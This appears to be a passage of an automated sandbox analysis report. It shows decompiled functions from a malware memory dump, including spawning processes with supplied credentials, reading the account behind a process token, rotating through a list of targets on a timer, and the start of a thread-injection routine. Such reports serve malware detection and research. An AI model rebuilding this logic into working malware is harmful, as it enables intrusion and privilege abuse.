C-Code - Quality: 73%

			E00863986(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, intOrPtr _a24) {
				WCHAR* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				struct _STARTUPINFOA _v108;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t41;
				WCHAR* _t46;
				WCHAR* _t57;
				signed int _t59;
				void* _t65;
				long _t70;
				long _t72;

				_v28 = _v28 & 0x00000000;
				_t41 = E00866769(_t65, __eflags, 0xa000);
				_t69 = _t41;
				_v32 = _t41;
				_v12 = E00866857(_t41, 0x4000);
				_v20 = E00866857(_t69, 0x400);
				_v24 = E00866857(_t69, 0x400);
				_v16 = E00866857(_t69, 0x400);
				_t46 = E00866857(_t69, 0x400);
				_t70 = 0x44;
				_v8 = _t46;
				E0087C290(_t70,  &_v108, 0, _t70);
				_v108.cb = _t70;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				GetStartupInfoA( &_v108);
				_t72 = 0;
				_v108.dwFlags = 0x101;
				_v108.wShowWindow = 0;
				_v108.hStdOutput = 0;
				_v108.hStdError = 0;
				_v108.hStdInput = 0;
				_v108.lpDesktop = 0;
				E00862886(_a16, _v12, 0x4000);
				E00862886(_a8, _v24, 0x400);
				E00862886(_a12, _v16, 0x400);
				E00862886(_a4, _v20, 0x400);
				if(GetCurrentDirectoryW(0, 0) >= 0x400) {
					_t57 = _v28;
				} else {
					GetCurrentDirectoryW(0x400, _v8);
					_t57 = _v8;
				}
				_t59 = _a20 | 0x08000400;
				__imp__CreateProcessWithLogonW(_v24, _v20, _v16, 1, _t72, _v12, _t59, _t72, _t57,  &_v108, _a24);
				_t86 = _t59;
				if(_t59 == 0) {
					_push(GetLastError());
					_push(_a8);
					_push(_a4);
					E00861F0A(0x400, __eflags, 0x35, "%s as %s\\%s: %d", _a16);
				} else {
					_t72 = 1;
				}
				E008667A9(0x400, _t72, _v32, _t86);
				return _t72;
			}

0x0086398c
0x00863998
0x0086399e
0x008639a7
0x008639b6
0x008639c0
0x008639ca
0x008639d4
0x008639d7
0x008639de
0x008639e0
0x008639e9
0x008639ee
0x008639f6
0x008639f7
0x008639f8
0x008639f9
0x00863a01
0x00863a0b
0x00863a12
0x00863a19
0x00863a1d
0x00863a20
0x00863a23
0x00863a26
0x00863a29
0x00863a38
0x00863a47
0x00863a56
0x00863a6a
0x00863a77
0x00863a6c
0x00863a70
0x00863a72
0x00863a72
0x00863a86
0x00863a9b
0x00863aa1
0x00863aa3
0x00863ab0
0x00863ab1
0x00863ab4
0x00863ac1
0x00863aa5
0x00863aa7
0x00863aa7
0x00863acc
0x00863ad7

APIs

Part of subcall function 00866769: _malloc.LIBCMT ref: 0086676F
Part of subcall function 00866769: _malloc.LIBCMT ref: 0086677F
Part of subcall function 00866769: _memset.LIBCMT ref: 00866791

_memset.LIBCMT ref: 008639E9
GetStartupInfoA.KERNEL32(?), ref: 00863A01

Part of subcall function 00862886: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,008638D6,00000400,?,008636FB,008638D6,?,00000400), ref: 0086289C
Part of subcall function 00862886: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,008638D6,008636FB,?,008636FB,008638D6,?,00000400,?,?,?,?,008638D6), ref: 008628B5

GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00863A66
GetCurrentDirectoryW.KERNEL32(00000400,?), ref: 00863A70
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000001,00000000,00000000,00000000,00000000,00000000,?,00862985), ref: 00863A9B
GetLastError.KERNEL32 ref: 00863AAA

Part of subcall function 00861F0A: _vswprintf_s.LIBCMT ref: 00861F26

Strings

%s as %s\%s: %d, xrefs: 00863ABA

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: ByteCharCurrentDirectoryMultiWide_malloc_memset$CreateErrorInfoLastLogonProcessStartupWith_vswprintf_s
String ID: %s as %s\%s: %d
API String ID: 1123543340-816037529
Opcode ID: 0a7b71e2ac1f517ecdf3b112f064719449cbc761e65b878f176d2243679f14c5
Instruction ID: 20ab1f999ff14f137309aea798d2815b17c854882973e75cef3e28af5fce6b47
Opcode Fuzzy Hash: 0a7b71e2ac1f517ecdf3b112f064719449cbc761e65b878f176d2243679f14c5
Instruction Fuzzy Hash: F8414BB2D00209BBDF01AFE9DC45EAFBBB9FF44704F114029F614E6161D6759A209B62

Uniqueness

Uniqueness Score: -1.00%

Function 0086A885, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0086A885(void* __edi, void* __eflags, void* _a4, intOrPtr _a8) {
				long _v8;
				union _SID_NAME_USE _v12;
				long _v16;
				long _v20;
				char _v532;
				char _v1044;
				void _v17428;
				void* __esi;
				void* _t44;
				intOrPtr _t46;

				_t44 = __edi;
				E0087C0B0(0x4410);
				_v8 = 0x200;
				_v16 = 0x200;
				_v12 = 0;
				E0087C290(__edi, _a8, 0, __edi);
				E0087C290(_t44,  &_v1044, 0, 0x200);
				E0087C290(_t44,  &_v532, 0, 0x200);
				if(GetTokenInformation(_a4, 1,  &_v17428, 0x1000,  &_v20) != 0) {
					if(LookupAccountSidA(0, _v17428,  &_v1044,  &_v16,  &_v532,  &_v8,  &_v12) == 0) {
						goto L1;
					}
					_t46 = _a8;
					_push( &_v1044);
					E008749A6(_t44, _t46, _t46, _t44, "%s\\%s",  &_v532);
					 *((char*)(_t46 + _t44 - 1)) = 0;
					return 1;
				}
				L1:
				return 0;
			}

0x0086a885
0x0086a88d
0x0086a8a0
0x0086a8a3
0x0086a8a6
0x0086a8a9
0x0086a8b7
0x0086a8c5
0x0086a8ea
0x0086a919
0x00000000
0x00000000
0x0086a91b
0x0086a924
0x0086a933
0x0086a93d
0x00000000
0x0086a941
0x0086a8ec
0x00000000

APIs

_memset.LIBCMT ref: 0086A8A9
_memset.LIBCMT ref: 0086A8B7
_memset.LIBCMT ref: 0086A8C5
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,00001000,0086A964,?,?,?,?,?,0086A964,?,?), ref: 0086A8E2
LookupAccountSidA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 0086A911
__snprintf.LIBCMT ref: 0086A933

Strings

%s\%s, xrefs: 0086A92C

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _memset$AccountInformationLookupToken__snprintf
String ID: %s\%s
API String ID: 2009363630-4073750446
Opcode ID: a07040020522a4e64365cff04116396e1ccda353eafc610f33c6c077559eb86e
Instruction ID: 232d6a9ea72c8c7ac6cd52ee3680447a077e3842af3d7a365b91110a8a59d874
Opcode Fuzzy Hash: a07040020522a4e64365cff04116396e1ccda353eafc610f33c6c077559eb86e
Instruction Fuzzy Hash: 5221FEB291021CBADB11DA949C85EEB77BCFB04744F0484BAB615E3101E670DB848BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0086A498, Relevance: 12.2, APIs: 8, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0086A498(void* __eax, void* __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				void* __ebx;
				void* __edi;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t38;
				signed int _t39;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t54;
				intOrPtr* _t56;
				signed int _t62;
				intOrPtr _t64;
				void* _t65;
				signed int _t66;
				void* _t67;
				void* _t69;
				void* _t85;
				void* _t90;

				_t62 = __edx;
				_t69 = __eax;
				_v8 = 0;
				_v16 = E00875F7E(__ecx, __edx, __eflags, 0);
				_v12 = __edx;
				if( *0x897e7c != 0) {
					_t52 =  *0x892018;
					_t30 =  *0x892014;
					goto L10;
				} else {
					_t41 = _a4;
					_t54 = _t41 + 1;
					goto L2;
					L7:
					_t79 = _t46;
					if(_t46 != 0) {
						 *0x8975e8 =  *0x8975e8 + 1;
						__eflags =  *0x8975e8;
						 *((intOrPtr*)(0x8972b0 +  *0x8975e8 * 4)) = _t46;
						_t46 = E00875EBD(_t62, __eflags, 0, _t68);
						_pop(_t58);
						goto L7;
					}
					 *0x8975d4 = 0;
					 *0x8975e0 = E00875F7E(_t58, _t62, _t79, 0);
					_t52 =  *(_t69 + 0xc);
					 *0x892010 =  *((intOrPtr*)(_t69 + 4));
					_t30 =  *((intOrPtr*)(_t69 + 8));
					 *0x8975e4 = _t62;
					 *0x8975d8 = 0;
					 *0x8975dc = 0;
					 *0x892018 = _t52;
					 *0x892014 = _t30;
					L10:
					if(_a8 == 0) {
						__eflags =  *0x897e80;
						if(__eflags == 0) {
							 *0x8975d8 = 0;
							 *0x8975dc = 0;
							 *0x897e84 = 0;
						}
					} else {
						if(_t52 > 0xffffffff) {
							 *0x897e84 =  *0x897e84 + 1;
							if( *0x897e84 > _t52) {
								_v8 = 1;
							}
						}
						if(_t30 > 0xffffffff) {
							_t66 =  *0x8975d8;
							_t52 =  *0x8975dc;
							_t62 = _t66 |  *0x8975dc;
							if(_t62 == 0) {
								_t39 = E00875F7E(_t52, _t62, __eflags, 0);
								_pop(_t52);
								 *0x8975d8 = _t39;
								 *0x8975dc = _t62;
							} else {
								asm("cdq");
								_t40 = _t30 + _t66;
								asm("adc edx, ecx");
								_t85 = _v12 - _t62;
								if(_t85 >= 0 && (_t85 > 0 || _v16 > _t40)) {
									_v8 = 1;
								}
							}
						}
					}
					_t31 =  *0x892010;
					if(_t31 <= 0xffffffff) {
						L30:
						if(_v8 == 0) {
							goto L34;
						}
						goto L31;
					} else {
						if(_v8 != 0) {
							L31:
							 *0x8975d4 =  *0x8975d4 + 2;
							_t93 =  *0x8975d4 -  *0x8975e8;
							 *0x897e84 = 0;
							 *0x897e80 = 0;
							 *0x8975d8 = 0;
							 *0x8975dc = 0;
							if( *0x8975d4 >=  *0x8975e8) {
								 *0x8975d4 = 0;
							}
							 *0x8975e0 = E00875F7E(_t52, _t62, _t93, 0);
							 *0x8975e4 = _t62;
							L34:
							if( *0x897e80 != 0) {
								L36:
								 *0x897e80 = 0;
								return  *((intOrPtr*)(0x8972b4 +  *0x8975d4 * 4));
							}
							L35:
							 *0x897e80 = 1;
							return  *((intOrPtr*)(0x8972b0 +  *0x8975d4 * 4));
						}
						if( *0x897e80 != 0) {
							goto L36;
						}
						asm("cdq");
						_t38 = _t31 +  *0x8975e0;
						asm("adc edx, [0x8975e4]");
						_t90 = _v12 - _t62;
						if(_t90 < 0 || _t90 <= 0 && _v16 <= _t38) {
							goto L35;
						} else {
							_v8 = 1;
							goto L30;
						}
					}
					L4:
					_t62 =  *_t56;
					_t56 = _t56 + 1;
					_t78 = _t62;
					if(_t62 != 0) {
						goto L4;
					} else {
						_t58 = _t56 - _t67 + 1;
						E00875100(_t44, _a4, _t56 - _t67 + 1);
						_t68 = ",";
						 *0x8975e8 = 0;
						_t46 = E00875EBD(_t62, _t78,  *0x897e7c, ",");
						goto L7;
					}
					L2:
					_t64 =  *_t41;
					_t41 = _t41 + 1;
					if(_t64 != 0) {
						goto L2;
					} else {
						_t44 = E00874855(0, _t64, _t65, _t41 - _t54 + 1);
						_t56 = _a4;
						 *0x897e7c = _t44;
						_t67 = _t56 + 1;
						goto L4;
					}
				}
			}

0x0086a498
0x0086a4a4
0x0086a4a6
0x0086a4af
0x0086a4b2
0x0086a4bb
0x0086a572
0x0086a578
0x00000000
0x0086a4c1
0x0086a4c1
0x0086a4c4
0x0086a4c4
0x0086a52f
0x0086a52f
0x0086a531
0x0086a519
0x0086a519
0x0086a521
0x0086a528
0x0086a52e
0x00000000
0x0086a52e
0x0086a534
0x0086a53f
0x0086a548
0x0086a54b
0x0086a550
0x0086a553
0x0086a559
0x0086a55f
0x0086a565
0x0086a56b
0x0086a57d
0x0086a583
0x0086a5dc
0x0086a5e2
0x0086a5e4
0x0086a5ea
0x0086a5f0
0x0086a5f0
0x0086a585
0x0086a588
0x0086a58a
0x0086a596
0x0086a598
0x0086a598
0x0086a596
0x0086a59e
0x0086a5a0
0x0086a5a6
0x0086a5ae
0x0086a5b0
0x0086a5c9
0x0086a5ce
0x0086a5cf
0x0086a5d4
0x0086a5b2
0x0086a5b2
0x0086a5b3
0x0086a5b5
0x0086a5b7
0x0086a5ba
0x0086a5c3
0x0086a5c3
0x0086a5ba
0x0086a5b0
0x0086a59e
0x0086a5f6
0x0086a5fe
0x0086a62d
0x0086a630
0x00000000
0x00000000
0x00000000
0x0086a600
0x0086a603
0x0086a632
0x0086a632
0x0086a63e
0x0086a644
0x0086a64a
0x0086a650
0x0086a656
0x0086a65c
0x0086a65e
0x0086a65e
0x0086a66b
0x0086a670
0x0086a676
0x0086a67c
0x0086a692
0x0086a69e
0x00000000
0x0086a69e
0x0086a67e
0x0086a68a
0x00000000
0x0086a68a
0x0086a60b
0x00000000
0x00000000
0x0086a611
0x0086a612
0x0086a618
0x0086a61e
0x0086a621
0x00000000
0x0086a62a
0x0086a62a
0x00000000
0x0086a62a
0x0086a621
0x0086a4e3
0x0086a4e3
0x0086a4e5
0x0086a4e6
0x0086a4e8
0x00000000
0x0086a4ea
0x0086a4ec
0x0086a4f2
0x0086a4f7
0x0086a503
0x0086a509
0x00000000
0x0086a50e
0x0086a4c7
0x0086a4c7
0x0086a4c9
0x0086a4cc
0x00000000
0x0086a4ce
0x0086a4d2
0x0086a4d8
0x0086a4db
0x0086a4e0
0x00000000
0x0086a4e0
0x0086a4cc

APIs

__time64.LIBCMT ref: 0086A4A9

Part of subcall function 00875F7E: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,0086A4AE,00000000), ref: 00875F89
Part of subcall function 00875F7E: __aulldiv.LIBCMT ref: 00875FA9

_malloc.LIBCMT ref: 0086A4D2
_strncpy.LIBCMT ref: 0086A4F2
_strtok.LIBCMT ref: 0086A509
_strtok.LIBCMT ref: 0086A528

Part of subcall function 00875EBD: __getptd.LIBCMT ref: 00875EDB

__time64.LIBCMT ref: 0086A53A
__time64.LIBCMT ref: 0086A5C9
__time64.LIBCMT ref: 0086A665

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: __time64$Time_strtok$FileSystem__aulldiv__getptd_malloc_strncpy
String ID:
API String ID: 2319056096-0
Opcode ID: 6bad9af06f91817196909285d1fdf788102baf17b2817de68081e6e72cf1a6d1
Instruction ID: d6ffd0faaad50b655431df99bf54b55fbd5de44fafb344cd53880726bf0b9ab9
Opcode Fuzzy Hash: 6bad9af06f91817196909285d1fdf788102baf17b2817de68081e6e72cf1a6d1
Instruction Fuzzy Hash: F45167B0928240EFC758EFA8ED854697BB1FB4931075A81BFE50AE7621DB309D40DF02

Uniqueness

Uniqueness Score: -1.00%

Function 0087596C, Relevance: 10.7, APIs: 7, Instructions: 189
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0087596C(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E0087C290(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0087C0DB(_t120, _t125, _t133);
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0087C290(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E0087625F(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E008783FE(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0087AEDA(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106);
												_t107 = E0087BB61(_t120, _t125, _t131, _t133, __eflags);
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E0087C290(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E0087625F(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E0087C206(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E0087625F(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}

0x0087596c
0x00875974
0x00875978
0x0087597d
0x0087597f
0x00875982
0x00875988
0x008759ab
0x00000000
0x0087598f
0x0087598f
0x00875991
0x008759b2
0x008759b5
0x008759b7
0x008759c6
0x008759c6
0x008759c9
0x008759ce
0x008759d3
0x008759d3
0x008759d6
0x008759d8
0x00000000
0x008759da
0x008759da
0x008759df
0x008759e2
0x008759e5
0x00000000
0x00000000
0x008759e7
0x008759ea
0x008759ee
0x008759f5
0x008759f8
0x008759fa
0x00875a04
0x008759fc
0x008759ff
0x008759ff
0x00875a0b
0x00875a0d
0x00875afd
0x00000000
0x00875a13
0x00875a13
0x00875a13
0x00875a1a
0x00875a60
0x00875a60
0x00875a63
0x00875ace
0x00875ad4
0x00875ad7
0x00875b62
0x00000000
0x00875b68
0x00875add
0x00875ae1
0x00875b31
0x00875b31
0x00875b35
0x00875b3f
0x00875b44
0x00875b44
0x00875b4c
0x00875b54
0x00875b55
0x00875b56
0x00875b57
0x00875b58
0x008759a3
0x008759a3
0x00000000
0x008759a8
0x00875ae3
0x00875ae6
0x00875ae9
0x00875aee
0x00875aef
0x00875aef
0x00875aef
0x00875af2
0x00000000
0x00875af2
0x00875a65
0x00875a69
0x00875a8a
0x00875a8f
0x00875a91
0x00875a93
0x00875a93
0x00875a6b
0x00875a72
0x00875a74
0x00875a81
0x00875a81
0x00875a81
0x00875a84
0x00875a76
0x00875a78
0x00875a7b
0x00875a7b
0x00875a86
0x00875a86
0x00875a95
0x00875a98
0x00000000
0x00875a9e
0x00875a9e
0x00875a9f
0x00875aa3
0x00875aa8
0x00875aa9
0x00875aaa
0x00875aaf
0x00875ab2
0x00875ab4
0x00875b70
0x00000000
0x00875b70
0x00875aba
0x00875abd
0x00875b5e
0x00875b5e
0x00875b5e
0x00875b5e
0x00000000
0x00875b5e
0x00875ac3
0x00875ac6
0x00875ac8
0x00000000
0x00875ac8
0x00875a98
0x00875a1c
0x00875a1f
0x00875a21
0x00000000
0x00000000
0x00875a23
0x00000000
0x00000000
0x00875a29
0x00875a2b
0x00875a2d
0x00875a2f
0x00875a2f
0x00875a31
0x00875a34
0x00875b05
0x00875b07
0x00875b0b
0x00875b14
0x00875b19
0x00875b19
0x00875b1c
0x00875b21
0x00875b22
0x00875b23
0x00875b24
0x00875b25
0x00875b2b
0x00000000
0x00875a3a
0x00875a43
0x00875a48
0x00875a4b
0x00875a4d
0x00875a50
0x00875a52
0x00875a55
0x00875a58
0x00875a58
0x00875af5
0x00875af5
0x00875af5
0x00000000
0x00875a13
0x00875a0d
0x008759d8
0x008759b9
0x008759be
0x008759be
0x008759c1
0x008759c4
0x00000000
0x00000000
0x00000000
0x008759c4
0x00875993
0x00875993
0x00875998
0x00875999
0x0087599a
0x0087599b
0x0087599c
0x008759a2
0x00000000
0x008759a2

APIs

_memset.LIBCMT ref: 008759CE
_memcpy_s.LIBCMT ref: 00875A43
__fileno.LIBCMT ref: 00875AA3
__read.LIBCMT ref: 00875AAA
__filbuf.LIBCMT ref: 00875ACE
_memset.LIBCMT ref: 00875B14
_memset.LIBCMT ref: 00875B3F

Part of subcall function 0087625F: __getptd_noexit.LIBCMT ref: 0087625F

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: 5e65ec147d670e522b267a13ef7ee9e6ed8681cd7700f97995bc17a569b395e0
Instruction ID: dc925ddde99cc30bc6d6060727c45e284f743cf9c86effea54846c03cfd30bae
Opcode Fuzzy Hash: 5e65ec147d670e522b267a13ef7ee9e6ed8681cd7700f97995bc17a569b395e0
Instruction Fuzzy Hash: 3351E531900A18EBCB209F69888469EBB75FF90330F14C329F82DD6199E7B0DE51DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0086357A, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 98
processCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E0086357A(void* __eax, intOrPtr* __ebx, intOrPtr _a4, intOrPtr _a8) {
				char _v260;
				void* __edi;
				void* __esi;
				long _t15;
				intOrPtr* _t19;
				char _t24;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr* _t30;
				intOrPtr* _t38;
				intOrPtr* _t39;
				intOrPtr* _t42;
				intOrPtr* _t43;
				void* _t47;
				void* _t48;
				void* _t49;
				intOrPtr* _t50;
				intOrPtr* _t51;

				_t38 = __ebx;
				_t1 = _t38 + 0xc; // 0x83ffffe5
				_t2 = _t38 + 8; // 0xe0e8296a
				_t4 = _t38 + 0x10; // 0xc0330cc4
				__imp__CreateProcessWithLogonW( *0x897e98,  *0x897e94,  *0x897e9c, 2, 0, _a4,  *_t4, 0, _a8,  *_t2,  *_t1);
				if(__eax == 0) {
					_t15 = GetLastError();
					__eflags = _t15 - 3;
					if(_t15 != 3) {
						L12:
						E00861EC5(0x45,  *_t38, GetLastError());
						__eflags = 0;
						return 0;
					}
					_t45 =  *((intOrPtr*)(__ebx));
					_t19 =  *((intOrPtr*)(__ebx));
					_t49 = _t19 + 1;
					do {
						_t39 =  *_t19;
						_t19 = _t19 + 1;
						__eflags = _t39;
					} while (_t39 != 0);
					__eflags = _t19 - _t49 - 0x100;
					if(_t19 - _t49 >= 0x100) {
						goto L12;
					}
					_t50 = E00874920(_t45, "sysnative");
					__eflags = _t50;
					if(_t50 == 0) {
						goto L12;
					}
					E0087C290(0x100,  &_v260, 0, 0x100);
					_t24 = "system32"; // 0x74737973
					 *_t50 = _t24;
					_t25 =  *0x88d56c; // 0x32336d65
					 *((intOrPtr*)(_t50 + 4)) = _t25;
					_t51 = _t50 + 9;
					__eflags = _t51;
					_t26 = _t51;
					_t9 = _t26 + 1; // -8
					_t47 = _t9;
					do {
						_t42 =  *_t26;
						_t26 = _t26 + 1;
						__eflags = _t42;
					} while (_t42 != 0);
					__eflags = _t26 - _t47;
					E0087B0A0(__ebx, _t47, _t51,  &_v260, _t51, _t26 - _t47);
					_t30 =  &_v260;
					_t48 = _t30 + 1;
					do {
						_t43 =  *_t30;
						_t30 = _t30 + 1;
						__eflags = _t43;
					} while (_t43 != 0);
					E0087B0A0(_t38, _t48, _t51 - 1, _t51 - 1,  &_v260, _t30 - _t48 + 1);
					_push(_t38);
					return E00863687(__eflags);
				}
				return 1;
			}

0x0086357a
0x00863585
0x00863588
0x00863590
0x008635ac
0x008635b4
0x008635be
0x008635c4
0x008635c7
0x0086366e
0x00863679
0x00863681
0x00000000
0x00863681
0x008635cd
0x008635cf
0x008635d1
0x008635d4
0x008635d4
0x008635d6
0x008635d7
0x008635d7
0x008635e2
0x008635e4
0x00000000
0x00000000
0x008635f5
0x008635f9
0x008635fb
0x00000000
0x00000000
0x00863607
0x0086360c
0x00863611
0x00863613
0x00863618
0x0086361e
0x0086361e
0x00863621
0x00863623
0x00863623
0x00863626
0x00863626
0x00863628
0x00863629
0x00863629
0x0086362d
0x00863638
0x0086363d
0x00863646
0x00863649
0x00863649
0x0086364b
0x0086364c
0x0086364c
0x0086365d
0x00863665
0x00000000
0x0086366b
0x00000000

APIs

CreateProcessWithLogonW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,0086379F,E0E8296A,83FFFFE5,008638D6,75144D40), ref: 008635AC
GetLastError.KERNEL32 ref: 008635BE
_memset.LIBCMT ref: 00863607

Strings

system32, xrefs: 0086360C
sysnative, xrefs: 008635EA

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CreateErrorLastLogonProcessWith_memset
String ID: sysnative$system32
API String ID: 2584212486-2461298002
Opcode ID: ec3cf305fca135fd595107031ca3aa23adcd4039b92dbb8d52158ef81abdddf8
Instruction ID: 9638cc8f878cf5e555d6d5e0fe2a07460c7d40e55e0116f15c141795642bb0fb
Opcode Fuzzy Hash: ec3cf305fca135fd595107031ca3aa23adcd4039b92dbb8d52158ef81abdddf8
Instruction Fuzzy Hash: B7318C37904205BFCB12AFA8EC09FA73BB9FB19300F194051F949DB251EA71DA04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00864FA1, Relevance: 10.6, APIs: 7, Instructions: 67
threadinjectionlibraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00864FA1(intOrPtr _a4, void* _a8, intOrPtr _a12, void* _a16, CHAR* _a20, CHAR* _a24, intOrPtr _a28) {
				struct _CONTEXT _v720;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t17;
				void* _t18;
				signed int _t19;
				void* _t28;
				void* _t33;

				_t16 = GetProcAddress(GetModuleHandleA(_a20), _a24);
				if(_t16 != 0) {
					_t17 = _t16 + _a28;
					_t28 = _a4 - 6;
					if(_t28 == 0) {
